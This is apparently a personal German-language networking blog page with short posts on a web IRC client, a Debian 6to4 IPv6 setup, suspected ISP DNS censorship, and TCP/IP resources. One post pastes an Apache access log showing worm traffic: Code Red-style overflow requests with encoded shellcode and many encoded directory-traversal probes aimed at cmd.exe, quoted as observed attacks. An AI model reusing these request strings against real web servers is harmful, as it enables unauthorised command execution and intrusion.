21.04.2008 - Web-IRC-Client provides an IRC webinterface, so you can hang around in your favorite channels with your iPhone/PDA/fridge/whatever.

21:21 | Networking | Permalink


How to enable IPv6 on your Debian Linux server in 3 easy steps

  1. Compute your 6to4 IPv6 address (2002:uuuu:vvvv::1) from your IPv4 address (a.b.c.d):
    printf "2002:%02x%02x:%02x%02x::1\n" a b c d
  2. Add a SIT (IPv6-in-IPv4) interface in /etc/network/interfaces:
    auto sit0
    iface sit0 inet6 static
            address 2002:uuuu:vvvv::1
            netmask 64
            gateway ::
  3. ifup sit0

Now you can also add AAAA DNS records with 2002:uuuu:vvvv::1 for your domain(s).

16:00 | Networking | Permalink



Da hab ich nun mit nem 486 nen superleisen 'Server' gebastelt und kaum den Apache installiert und alles eingerichtet, schon sieht's im accesslog so aus: - - [15/Jun/2003:17:58:38 +0200] "GET / HTTP/1.1" 200 71 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4b) Gecko/20030605 Mozilla Firebird/0.6"
(Mein erster Zugriff, davon hats natürlich noch n paar mehr *g*) - - [15/Jun/2003:21:39:49 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 266 "-" "-" - - [15/Jun/2003:23:24:03 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 266 "-" "-" - - [15/Jun/2003:23:45:21 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 271 "-" "-" - - [15/Jun/2003:23:45:21 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 269 "-" "-" - - [15/Jun/2003:23:45:21 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 279 "-" "-" - - [15/Jun/2003:23:45:21 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 279 "-" "-" - - [15/Jun/2003:23:45:22 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 293 "-" "-" - - [15/Jun/2003:23:45:22 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 "-" "-" - - [15/Jun/2003:23:45:22 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 "-" "-" - - [15/Jun/2003:23:45:25 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 326 "-" "-" - - [15/Jun/2003:23:45:29 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 "-" "-" - - [15/Jun/2003:23:45:29 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 "-" "-" - - [15/Jun/2003:23:45:29 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 "-" "-" - - [15/Jun/2003:23:45:29 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 "-" "-" - - [15/Jun/2003:23:45:30 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 276 "-" "-" - - [15/Jun/2003:23:45:30 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 276 "-" "-" - - [15/Jun/2003:23:45:30 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 293 "-" "-" - - [15/Jun/2003:23:45:30 +0200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 293 "-" "-"

02:18 | Networking | one comment


noch zu Zensur

E-Mail Abrufen etc. geht natürlich auch nicht, da die Domain laut Mozilla gar nicht existiert. und ein 'ping' ergibt nur 'ping: unknown host' :-(

Warum, Warum, WWAAARRUUUMM ???

02:57 | Networking | 5 comments


Ich kann und jegliche Domains die darauf umgeleitet werden von zu Hause aus nicht mehr erreichen! Auch andere Domains (, kann ich nicht erreichen, resp. kann mein PC nicht finden!

Wenn ich jedoch mit einem 'Anonymisierer' ( darauf zugreife, funktioniert alles problemlos (z.B. dieses Posting).

Kann mir bitte jemand (möglichst viele *g*) mitteilen, ob die genannten Domains auch bei anderen Leuten nicht erreichbar sind. Ich vermute nämlich, dass Solnet irgend einem richterlichen Befehl folgt und das Internet nur zensiert ausliefert! Frage mich nur, was die obgenannten Domains so böses angestellt haben, damit sie versteckt werden müssen...

02:40 | Networking | 8 comments


Laaaaaaaaaaaag !!!

würde es an einer LAN heissen.
Das Internet lahmt momentan teilweise wie Sau und es liegt vermutlich daran, da ich nicht wie andere mit T-Dings ins Netz gehe *hehe*

22:05 | Networking | Permalink


TCP/IP - Lehrgang

Noch eine Gedächtnisstütze: TCP/IP - Lehrgang von Dr. Rudolf Strub

21:13 | Networking | Permalink


Sur il y a des traductions françaises des RFC. Les RFC sont des documents qui font référence auprès de la Communauté Internet et qui décrivent, spécifient, aident à l'implémentation, standardisent et débattent de la majorité des normes, standards, technologies et protocoles liés à Internet et aux réseaux en général.

21:29 | Networking | Permalink


Die *Alternative* zu Wireless

Für alle, die sich nicht der Strahlung eines Wireless Netzwerks aussetzen wollen aber trotzdem draussen im Park arbeiten wollen, gibt es jetzt eine Alternative: 90m Cat.5 Kabelrolle mit integriertem 8-Port Switch
Erhältlich bei (Prod.Nr. 230791)

Jedoch ist der Preis mit CHF 899.- IMHO ein bisschen sehr hoch. Da ist ein Wireless-Netz nicht viel teurer, wenn nicht sogar billiger!

23:43 | Networking | Permalink



Als ich die Kategorie Linux einfügte, sah ich, dass bei ihrem Aufruf "...index.php?cat=5" erscheint. Als mehr oder weniger geübter LAN-Bastler assoziere ich "cat 5" aber mit Netzwerk und nicht mit Linux. So musste dann noch schnell die Kategorie Networking entstehen und Linux wurde eine Stufe weitergeschoben. Dies interessiert vermutlich niemanden; aber es erklärt warum bis jetzt eine leere Seite erschien wenn man "...?cat=5" eingab. Nun ist dies das erste Posting in dieser Kategorie und es werden noch weitere folgen (vermutlich nicht allzu häufig ;-)

18:08 | Networking | Permalink